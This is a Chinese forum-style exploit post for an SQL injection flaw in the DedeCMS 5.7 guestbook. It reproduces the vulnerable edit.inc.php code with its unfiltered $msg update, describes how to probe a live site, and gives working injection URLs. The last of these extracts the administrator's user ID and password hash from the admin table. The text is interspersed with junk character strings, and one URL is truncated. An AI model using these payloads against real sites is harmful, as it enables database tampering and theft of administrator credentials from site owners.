dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
/ @1 b4 e- o% V3 l( D3 ^
漏洞文件edit.inc.php具体代码：

8 m3 O! F# |7 F  {4 x' z- p< ?php  
+ O: I+ t" w* h0 L
9 O9 N# @0 C& {" Q- ^if(!defined('DEDEINC')) exit('Request Error!');  

0 \; Z' y# L; z4 d* ]1 w   
9 \" p4 X5 m# n$ m8 g4 m5 h# [
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
7 a, ?7 X, q8 ?$ n' d
% G) U: \6 b  E1 r; V) lelse $GUEST_BOOK_POS = "guestbook.php";  

   

: v5 A, s0 O+ _! ]6 u$ t7 [) }5 m$id = intval($id);  
+ x/ k; c3 K) a5 N$ ]/ e: A
4 p" D- ]2 \) K7 p8 kif(empty($job)) $job='view';  

   
  w4 t2 R8 |" G; |/ ]
if($job=='del' && $g_isadmin)  
; R2 M5 A2 V3 R: m' K) U2 h) m' B$ ]
; _) U# u$ L% M. u; d4 l. b{  

$ ^" `: N3 R7 e: r( t7 H$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
9 ^7 f# K4 @! s1 @- L( {
7 f, ^, B: s7 K" D& L) f3 nShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  
% i# W# m& Q- S) h) F
, ~( ~+ {* \, T" V; v8 [5 B}  

else if($job=='check' && $g_isadmin)  

& e! q( k( G( h" F6 G/ {+ q{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
% j% m* v0 D& Y4 y: Z* v- z+ h
1 H' E; F7 n  s, cShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
) B6 d# w- {/ x' J
exit();  

: \) N2 x( h5 R/ J5 w& G1 ?1 U}  

4 k& Z9 Q0 }3 f* Qelse if($job=='editok')  
& w% ^, z" a! O' b5 |4 H
{  
% v! R9 }; Q: E. _, M  `# w9 H
$remsg = trim($remsg);  
/ Z! B) D$ B* Z; @6 J
/ L+ @; h+ s1 Sif($remsg!='')  
3 K+ h2 E% Q+ Y* G
. I* X, [+ \% z* i3 G$ e' ~{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

- h4 w/ n8 w5 T2 s6 J  q0 Q) B. zif($g_isadmin)  

  l1 |! H* r$ c+ e: Y7 I6 ~# G{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  
2 ~! D4 U* |+ W+ f
else
7 Z% z3 K) l1 [/ K" z4 k: W% A
{  
# M' T4 N9 r) x$ \$ S' D# D0 _
, [. [+ \: h) h$ S+ ?$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
3 k. _' D/ h+ T1 I" `
  T9 a# J1 }% g& g$ X% W$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
8 q6 ^- P+ j) C5 D, C' M) E
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
! a$ n( x! Q* j2 x3 A
$msg = $oldmsg.$remsg;  

- C3 \* p" x0 X9 \6 G}  
% [8 u- o' T- O4 T6 y
}  
( e2 ]2 ^/ @$ q
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

! u. T/ k4 X; t! ~1 X, P( J$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

/ r* F& k; H" B" m  J6 V6 D. B2 ^ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

% z* t* p$ N& g) ?7 W$ T  Sexit();  

8 a: S! c- }5 ?9 ~9 u0 X}  
, h, f9 Y+ O. V$ e
0 E. C5 U9 t& ~4 L. \//home:www.errs.cc  

6 G3 y8 l) ^" M  P" }if($g_isadmin)  

{  

  h1 g/ w5 [2 ?- _+ T$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
( M. b) X, K+ b& q- R
; e4 y5 q) ?1 s; x) i8 O) H5 R, d, Drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
6 f# v3 C; W2 }
' }5 a4 K/ o* K" t0 H' P/ _}  
6 N; K" X- U( M. k" I
else
( A3 f( a* ]6 t. }$ ~
# K3 E9 D4 _$ R8 J% y+ V{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
& ^  X7 I8 H  d* E
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
' z* Q# F  H/ A% N9 A
} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 f& J) V7 V, V4 E2 i# Y
3 J4 R# P/ f  `0 E% M) r; d" o怎么判断是否存在漏洞：
) S7 P+ ]3 O0 V6 T8 d* V8 w先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
" j# q2 A+ a8 Z: e/ f6 g9 F. Z# M' S然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
4 S: Z: n4 b4 p8 T7 _6 y
, ?" P( J( W# f/ n* |1 i2 p! Lwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
" y$ Z' k, M' Q& N跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
( T1 u, H0 Y) k0 ?- A6 G
2 ?) X8 X$ A4 E/ ~8 t$ ^
- ~2 a" _" k" k6 R1 F/ d+ \4 }" U明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 i( d3 Z* ^  j- |+ n那么再次访问

- B/ F; K& s: O4 T* Nwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
' R$ D: ?7 r2 b: M
大概利用就是这样，大家有兴趣的多研究下！！
7 ]4 q* q3 B) b* z3 b+ o
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

# d" G$ f# E) V# y$ Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='